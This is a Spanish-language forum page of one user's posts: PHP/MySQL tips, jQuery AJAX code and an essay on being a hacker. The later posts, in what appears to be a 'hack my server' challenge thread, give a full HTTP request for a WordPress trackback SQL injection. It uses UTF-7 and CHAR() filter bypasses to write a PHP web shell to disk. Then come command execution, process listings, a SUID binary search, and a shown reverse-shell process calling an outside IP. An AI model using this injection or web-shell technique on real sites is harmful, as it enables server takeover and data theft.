Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WHK

#1501
PHP / Re: Agregar operadores logicos php
22 Agosto 2014, 18:29 PM
Salvo que tiene inyección sql no le veno ningún problema, talves no se guardan los datos porque estas intentando guardar un campo que no existe o te falta un campo obligatorio. Dale un echo a la query completa, la copias y la pegas en el phpmyadmin y vee que error te sale.
#1502
PHP / Re: [PHP y MySQL] Problema con código
22 Agosto 2014, 18:12 PM
Prueba con:

Código (php) [Seleccionar]
<?php
...
mysqli_query('
INSERT INTO tabla1
SELECT 
NULL, -- Los ids no deberian compartirse a menos que sea muy necesario
campo1,
campo2
FROM tabla1
'
);


Desde la misma query puedes insertar haciendo un select por debajo, esto vuelca directamente los datos de una tabla a otra seleccinando los campos que necesitas, de hecho desde el select puedes hacer un order by o un limit como gustes o joins, generalmente lo uso cuando debo llenar tablas para los cache. Si haces esto desde php no sabrás si tienes 1 dato o un millón y pasar un millón de registros a la memoria vía php podría ser fatal, en ves de eso deja que mysql se encargue de traspasar fila por fila sin dejar sin aliento a tu servidor.

Si quieres pasar un solo dato puedes usar un where y si quieres unir datos relacionados puedes usar group_concat:

Código (php) [Seleccionar]
mysqli_query('
INSERT IGNORE INTO usuarios_b
SELECT
id,
nombre,
correo,
GROUP_CONCAT(telefonos SEPARATOR ", ") as telefonos
LEFT JOIN telefonos ON (telefonos.usuario_id = usuarios_a.id)
FROM usuarios_a
WHERE usuarios_a.id = 157894
GROUP BY usuarios_a.id
');


Digamos que usuarios_a tiene una tabla relacional con todos los telefonos del usuario, en la tabla usuarios_b tendrá los telefonos separados por coma en un solo campo desnormalizado vs usuarios_a que si estaba normalizado. El ignore es para que no arroje error si ya existía, si se quiere renovar se puede unir con un drop o un update en ves de insert. Puse left join en ves de inner join porque talves el usuario no tiene telefonos, en ese caso el campo queda nulo y la tabla usuarios_b debería tener el campo telefonos nullable y usuarios_b denbería llevar un foregin key relaiconado con el id de la tabla de usuarios_a con un on-update y on-delete en cascade para hacer joins mas rápidos con innodb.

Por favor intenten dejar de usar mysql_ y usen mysqli_ o el objeto mismo de mysqli ya que mysql_ se declaró obsoleto en las nuevas verisones de php5.
#1503
PHP / Re: inicar servicio Mysql y Apache
22 Agosto 2014, 18:07 PM
Se supone que para eso existen los servicios, debes usar el script del xampp que sirve para instalar apache e mysql como servicios, luego solo los inicias con service start apache2 && service start mysql, el tema es que ese script necesitaría permisos de root, mucho cuidado de los permisos que le des a ese script porque podrías comprometer la integridad de tu servidor, si apache corre como un usuario no www-data y como root puedes provocar que un atacante ejecute script de php desde tu pagina web como root, para eso son los servicios, ellos se encargan de iniciar los binarios con sus respectivos permisos y entornos ya que tampoco declaraste el entorno de apache ni de php.
#1504
Pues lo normal sería que el texto de salida fuera unicamente de tipo json y no mezclar texto plano con json ya que para procesar texto json en javascript deberias utilizar el envio de cabeceras json o si no no te va a funcionar bien en todos los navegadores.

Código (php) [Seleccionar]
<?php

$datos 
= array();

if(
$estado1){
$datos[] = array(
'a' => 1,
'b' => 2
);
}

if(
$estado2){
$datos[] = array(
'a' => 1,
'b' => 2
);
}

header('Content-Type: application/json; charset=utf-8');
echo 
json_encode(array(
'estado' => 1,
'mensajes' => array(
'primero' => 'Este es un mensaje',
'segundo' => 'Este es otro mensaje'
),
'datos' => $datos
));


Luego desde jquery utilizas:

Código (javascript) [Seleccionar]
$.ajax({
cache : false,
url : document.location,
dataType : 'json',

/* Acá indicas si la petición debe ser GET o POST, de preferencia prefiero POST
para un mayor control desde el php y para el envío de datos grandes. */
type : 'POST',

/* Estos son los datos de tu petición POST */
data : {
accion : 'obtener',
foo : 'var'
}

success : function (data) {
if(data.estado == 1){
// Procesa data.datos, data.mensajes[n], etc
}else{
// En este punto el json venia corrupto
}
},
error : function (request, status, error) {
/* Una carga abortada no debería desplegar un mensaje de error */
if(error == 'abort')
return;

alert('Hubo un error al obtener los datos, inténtelo nuevamente.');

var contextoAjax = this;

/* Esto es por si quieres reintentar cada ves que ocurre un error */
setTimeout(function(){
$.ajax(contextoAjax);
}, 4000);
/* El timeout es para que haga el reintento cada 4 segundos,
si el usuario no tiene internet va a enviar la petición como 500 veces por segundo
y provocarás que el navegador agote los recursos de memoria y CPU del PC */
}
});


jSon existe justamente para que no tengas que trabajar con textos planos y no tengas este tipo de problemas, por eso siempre tu comunicación entre php y javascript debería ser vía jSon (de preferencia).

Fijate que en la petición post le puse type json, es porque un servidor WEB no solo soporta datos serializados via post data sino también datos en json y eso es estandard.


Cita de: engel lex en 22 Agosto 2014, 05:51 AMde todas formas puedes usar un "marcador" en el codigo, tipo

mensaje linea 1
mansaje linea 2
//*inicioJSON*//
{a:1,b:2}
//*finJSON*//
mensaje linea 3
etc...

Eso jamas se hace xD, por eso existen los protocolos y formatos, están diseñados para llevar todo tipo de contenido sin dar problemas, por ejemplo si hago lo que dices entonces jamás voy a poder poner "//*finJSON*//" dentro de un campo de texto para guardar y ser enviado via json o poner un texto de un blog con eo ya que va a terminar cortando tu código a la mitad y se producirá una inyección de datos. Para eso existen las secuencias de escape en todos los lenguajes de programación entre muchas otras cosas pensadas para su buen uso, como lo hace json, javascript, batch, bash, php, perl, python, etc etc, es como si yo quisiera poner un texto con comillas simples y dobles dentrod e una cadena de caracteres de php, necesito usar la secuencia de escape de backslash, en javascript debo usar carácteres unicode, en json también usa backslash al igual que sql, etc.

Saludos.
#1505
Vamos, no necesitas un maestro, lo que ven tus ojos a traves de una pantalla puedes considerarlo como un maestro y tu teclado tu boca para hablar con el.

Si necesitas aprender algo solo debes preguntar asi como acabas de preguntar acá, busca videos en youtube, bajate tutoriales y vas a ir aprendiendo en el camino.

No se que sea para ti un hacker pero si quieres ir por la vida reventando sistemas no te va a costar mucho, hay muchos que a sus 15 años revientan servidores completos, ser hacker no es eso sino tener un alto grado sobresaliente en conocimiento que los demás y eso se logra con los años y mucha práctica.

Si alguien viene y te dice que te va a ser hacker en un mes o un año entonces este tipo está engañando.

Que necesitas saber para ser hacker? pues la verdad es que no necesitas ser un islamico, ruso o chino/japones para encaminarte a la cima del conocimiento, basta con que seas bueno para algo, cualquier cosa pero que seas muy bueno, mas bueno que otros.

Por ejemplo digamos que aprendes a sacarle la clave a un windows sin tener que reiniciar el sistema y desde una cuenta de invitado... entonces podrás decir que eres un hacker porque tubiste mas conocimientos sobre la seguridad en el sistema operativo que el que lo diseñó (microsoft), siempre y cuando lo hayas hecho solo porque si te bajas un programa y le haces dos clicks y listo entonces eso no es hackear, es solo usar un programa (scriptkidde), el hacker se las banca solo, busca información y aprende, no se dedica a bajar cosas y que todo se haga por arte de magia.

No serás hacker porque uses el metasploit framework o por usar linux o por descargar un troyano e infectar a alguien, el hacker hace los exploits porque los entiende y fue capaz de ser mejor que el que hizo el sistema que vulneró, también es hacker el que crea un troyano que por si solo evada antivirus y esas cosas porque el que lo hizo sabe como trabaja un antivirus y fue mayor que el que hizo el antivirus, así también el que usa linux solo lo usa, no lo creó ni nada, hasta mi hijo de 10 años podría instalar algun sistema con linux, ponerle metasploit y ejecutar un comando de una linea y hacerse de la shell de otro computador y eso no lo hace hacker, solo lo hace una persona con conocimientos para usar un programa.

Ser hacker es algo muy amplio, no siempre significa vulnerar o reventar algo, el carnicero no es carnicero porque lleva un cuchillo al igual que los llevan los asesinos, es carnicero porque sabe cortar carne, hasta un niño de 5 años le pasas un cuchillo y puede que comience a darle a puntadas a la carne pero no lo sabrá cortar como se debe.

Date una vuelta por acá:
http://www.elhacker.net/como-convertirse-en-hacker.html
http://es.wikipedia.org/wiki/Hacker

Y suerte!

http://www.elhacker.net/como-convertirse-en-hacker.html#id2751996
Citar¿Me enseñarás a hackear?
R:   

Desde la primera publicación de esta página, me llegan varias peticiones por semana (a menudo varios por día) de gente que quiere que le "enseñe todo sobre hackeo". Desafortunadamente, no tengo ni el tiempo ni la energía para hacer eso; mis propios proyectos de hackeo consumen el 110% de mi tiempo.

Aun si pudiera hacerlo, el hackeo es una actitud y habilidad que debes aprender por ti mismo. Te darás cuenta de que los hackers de verdad quieren ayudarte, pero no te respetarán si comienzas a rogarles que te alimenten en la boca con todo lo que saben.

Aprende unas cuantas cosas primero. Muéstrales que lo estás intentando, que eres capaz de aprender por tu cuenta. Entonces dirígete a los hackers que conozcas pero ya con preguntas específicas.

Si escribes un email a un hacker pidiéndole consejo, hay 2 cosas que debes saber antes. Primero, hemos encontrado que la gente que es perezosa o descuidada en sus escritos suelen ser demasiado perezosos o descuidados para pensar en ser buenos hackers —Así que ten cuidado en deletrear correctamente, y usar buena gramática y puntuación. En caso contrario, probablemente serás ignorado. En segundo lugar, no te atrevas a pedir una respuesta con una cuenta de ISP diferente a la cuenta desde la que estás enviando; nos encontramos gente que lo hacen que suelen ser timadores usando cuentas robadas, y no tenemos interes en ayudar o apoyar el robo.
#1506
Desarrollo Web / Re: Mejor sistema para foro
7 Agosto 2014, 20:09 PM
bbpress tambien es muy bueno y bastantemente recomendable, el manejo del seo es muy superior a vbulletin y smf.
#1507
Hacking / Re: Hack my server II
6 Agosto 2014, 15:38 PM
Vamos, yo aun tengo mi shell xD

me@Machine:~/Escritorio/server$ php cliente.php http://web.com/wp-content/uploads/whk-shell.php
Conectando ... Conectado!
WHK@owned-server:/var/www/wp-content/uploads$ ls
drwxrwxrwx .
drwxrwxrwx ..
-rw-r--r-- index.php
drwxr-xr-x tmp
-rw-r--r-- whk-shell.php
WHK@owned-server:/var/www/wp-content/uploads$ system id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
WHK@owned-server:/var/www/wp-content/uploads$


Me faltan mis puntos por haber subido la shell a traves de la inyección sql bypaseando el filtro de seguridad de wordpress a traves del utf7.

PD: el webmin no es vulnerable por obsolencia (para que ahorren tiempo):
webmin     : 1.690
apache2    : 2.4.6
mysql      : 5.5.37
phpmyadmin : 4:4.0.6-1
gcc        : 0
php5       : 5.5.3
#1508
Cita de: daryo en  2 Agosto 2014, 18:56 PM
y windows 8?

que se jodan habrán dicho. la idea es que los que usan sistemas viejos usen sistemas nuevos, no les interesa los que usan windows 8 porque es un sistema nuevo por el cual ya pagaste. talves en 5 años mas se los den gratis tambien.
#1509
Hacking / Re: Hack my server II
3 Agosto 2014, 02:01 AM
Cita de: MinusFour en  3 Agosto 2014, 01:52 AM
phpinfo() funciona :P

http://web/wp-content/uploads/phpinfo.php

Talves escribí la funcion mal entonces porque tiene deshabilitado el reporte de errores.

php está configurado con algunos datos falsos :p por ejemplo sale que el apache está sobre ubuntu pero en realidad es un redhat xD o al reves pero dudo que sea ubuntu.
#1510
Hacking / Re: Hack my server II
3 Agosto 2014, 01:42 AM
Logré ejecutar una shell en php sin usar el phpmyadmin, unicamente usando la inyección SQL.

recordemos que estamos usando utf7 para la inyeción, no caracteres normales, asi que si escribimos las comillas en utf7 estas no se escaparán con backslashses:

POST /wp-trackback.php?p=1 HTTP/1.1
Connection: close
Host: web.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 197

charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select CONCAT(CHAR(60),%2bACc-?php echo 99;%2bACc-) INTO OUTFILE %2bACc-/var/www/wp-content/uploads/whk5.php%2bACc- -- -


http://web.com/wp-content/uploads/whk5.php
99

:D

Por alguna razón cuando escribía el carácter "<" se cortaba el string de la inyección, lo mismo cuando lo escribia en utf7, supongo que era algun sistema de protección, entonces... como rayos podía comenzar un script en php? fácil, usando concat y crah con el valor decimal del carácter "<", por lo cual ese filtro solo busca strings en plano y no codificados, asi que es cuestion de codificar lo que sea para bypasear todo filtro de carácteres excepto la comilla por utf7.

Asi que ahora lanzo mi shell directa desde la inyección y desde ahi paso a tratar de ejecutar código. el phpinfo() está deshabilitado.

http://web.com/wp-content/uploads/whk7.php?val=system%28%27id%27%29;
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ps -aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0  26252   572 ?        Ss   Jul30   0:00 init
root         2  0.0  0.0      0     0 ?        S    Jul30   0:00 [kthreadd/84472]
root         3  0.0  0.0      0     0 ?        S    Jul30   0:00 [khelper/84472]
root       177  0.0  0.0  15224     8 ?        S    Jul30   0:00 upstart-file-bridge --daemon
root       376  0.0  0.0  14956     8 ?        Ss   Jul30   0:00 /usr/sbin/xinetd -dontfork -pidfile /var/run/xinetd.pid -stayalive -inetd_compat -inetd_ipv6
root       378  0.0  0.0  61044   312 ?        Ss   Jul30   0:02 /usr/sbin/sshd -D
root       380  0.0  0.0  25756   244 ?        Ss   Jul30   0:04 cron
syslog     416  0.0  0.0  12748   412 ?        Ss   Jul30   0:03 /sbin/syslogd -u syslog
root       484  0.0  0.0  81008     4 ?        Ss   Jul30   0:00 /usr/sbin/saslauthd -a pam -c -m /var/run/saslauthd -n 2
root       486  0.0  0.0  81008     4 ?        S    Jul30   0:00 /usr/sbin/saslauthd -a pam -c -m /var/run/saslauthd -n 2
root       540  0.0  0.0  85780   672 ?        Ss   Jul30   0:17 sendmail: MTA: accepting connections          
root       572  0.0  0.0  12748     8 tty1     Ss+  Jul30   0:00 /sbin/getty -8 38400 tty1
mysql     4586  0.0  1.0 785948 11288 ?        Ssl  Jul30   4:04 /usr/sbin/mysqld
www-data  5153  0.0  0.0   4392   564 ?        Ss   05:01   0:00 /usr/sbin/apache -i
root      6893  0.0  0.1 313920  1400 ?        Ss   Jul30   0:22 /usr/sbin/apache2 -k start
root     10027  0.0  0.2  86048  2316 ?        Ss   Jul30   2:13 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
www-data 10048  0.0  0.0   4392   544 ?        Ss   11:02   0:00 /usr/sbin/apache -i
www-data 10888  0.0  0.0   4392   520 ?        S    12:18   0:00 /bin/sh ./stop
www-data 10892  0.0  0.0   4324   440 ?        S    12:18   0:00 cat
www-data 11279  0.0  0.0   4392   536 ?        Ss   12:46   0:00 /usr/sbin/apache -i
www-data 11641  0.0  0.3 314788  4048 ?        S    13:11   0:00 /usr/sbin/apache2 -k start
www-data 11865  0.0  0.0   4392   524 ?        S    13:26   0:00 sh -c ./out
www-data 11866  6.2  0.0   4756   396 ?        Sl   13:26  23:52 ./out
www-data 11927  0.0  0.0      0     0 ?        Z    13:32   0:00 [sh] <defunct>
www-data 12122  0.0  0.0      0     0 ?        Z    13:44   0:00 [sh] <defunct>
www-data 12570  0.0  0.0      0     0 ?        Z    14:13   0:00 [sh] <defunct>
www-data 12685  0.0  0.0      0     0 ?        Z    14:25   0:00 [sh] <defunct>
www-data 13048  0.0  0.0      0     0 ?        Z    14:59   0:00 [sh] <defunct>
www-data 14598  0.0  0.0      0     0 ?        Z    15:56   0:00 [sh] <defunct>
www-data 16229  0.0  0.0      0     0 ?        Z    16:51   0:00 [sh] <defunct>
www-data 16344  0.0  0.0   4392   536 ?        Ss   16:58   0:00 /usr/sbin/apache -i
www-data 16351  0.0  0.0  28884   940 ?        S    16:59   0:02 ping6 ::1
www-data 16394  0.0  0.0      0     0 ?        Z    17:02   0:00 [sh] <defunct>
www-data 16475  0.0  0.0      0     0 ?        Z    17:11   0:00 [sh] <defunct>
www-data 16535  0.0  0.0      0     0 ?        Z    17:15   0:00 [sh] <defunct>
www-data 16575  0.0  0.0      0     0 ?        Z    17:18   0:00 [sh] <defunct>
www-data 17044  0.0  0.0      0     0 ?        Z    17:54   0:00 [sh] <defunct>
www-data 17775  0.0  1.3 318804 13648 ?        S    19:09   0:00 /usr/sbin/apache2 -k start
www-data 17840  0.0  1.0 317008 10796 ?        S    19:13   0:00 /usr/sbin/apache2 -k start
www-data 17844  0.0  0.7 317240  7400 ?        S    19:13   0:00 /usr/sbin/apache2 -k start
www-data 17847  0.0  0.7 316428  8212 ?        S    19:14   0:00 /usr/sbin/apache2 -k start
www-data 17862  0.0  0.6 314376  6624 ?        S    19:15   0:00 /usr/sbin/apache2 -k start
www-data 17892  0.0  1.0 317000 10616 ?        S    19:17   0:00 /usr/sbin/apache2 -k start
www-data 17936  0.0  0.8 317000  8568 ?        S    19:20   0:00 /usr/sbin/apache2 -k start
www-data 17943  0.0  0.8 317760  8912 ?        S    19:20   0:00 /usr/sbin/apache2 -k start
www-data 17946  0.0  0.9 318776  9564 ?        S    19:20   0:00 /usr/sbin/apache2 -k start
www-data 17949  0.0  0.7 316984  7384 ?        S    19:21   0:00 /usr/sbin/apache2 -k start
www-data 18289  0.0  0.0   4392   624 ?        S    19:50   0:00 sh -c ps -aux
www-data 18290  0.0  0.1  15520  1124 ?        R    19:50   0:00 ps -aux
www-data 28193  0.0  0.0   4392   536 ?        Ss   Aug01   0:00 /usr/sbin/apache -i
www-data 31431  0.0  0.0   4148     4 ?        T    00:45   0:00 ./exp4
www-data 31575  0.0  0.3 314780  3824 ?        S    00:59   0:00 /usr/sbin/apache2 -k start
www-data 31850  0.0  0.0   4392   528 ?        S    01:14   0:00 sh -c perl bk.pl 71.51.107.185 80
www-data 31851  0.0  0.1  27860  2024 ?        S    01:14   0:00 perl bk.pl 71.51.107.185 80
www-data 31857  0.0  0.1  17864  1176 ?        S    01:14   0:00 /bin/bash
www-data 32084  0.0  0.0   4148     4 ?        T    01:23   0:00 ./exp4
www-data 32091  0.0  0.0   4148     4 ?        T    01:25   0:00 ./exp4
www-data 32335  0.0  0.1  17868  1220 ?        S    01:34   0:00 bash


netstat -atup | grep IST
tcp        0      0 localhost.localdom:smtp *:*                     LISTEN      -              
tcp        0      0 localhost.localdo:mysql *:*                     LISTEN      -              
tcp        0      0 localhost.lo:submission *:*                     LISTEN      -              
tcp        0      0 *:webmin                *:*                     LISTEN      -              
tcp        0      0 *:ssh                   *:*                     LISTEN      -              
tcp6       0      0 [::]:http               [::]:*                  LISTEN      -              
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN      -              


Archivos ejecutables con permisos de root:
find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null
/bin/ping
/bin/mount
/bin/ping6
/bin/su
/bin/umount
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/procmail
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/arping
/usr/bin/chfn
/usr/sbin/sensible-mda
/usr/sbin/uuidd


No es ubuntu server, es un redhat:
cat /proc/version /proc/cpuinfo
Linux version 2.6.32-042stab084.14 (root@rh6-build-x64) (gcc version 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC) ) #1 SMP Mon Dec 16 18:16:56 MSK 2013
processor : 0
vendor_id : AuthenticAMD
cpu family : 16
model : 2
model name : AMD Opteron(tm) Processor 4284                 
stepping : 3
cpu MHz : 2999.999
cache size : 2048 KB
physical id : 0
siblings : 4
core id : 0
cpu cores : 4
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 5
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good tsc_reliable nonstop_tsc unfair_spinlock pni cx16 x2apic popcnt hypervisor lahf_lm cmp_legacy extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw
bogomips : 5999.99
TLB size : 1536 4K pages
clflush size : 64
cache_alignment : 64
address sizes : 40 bits physical, 48 bits virtual
power management: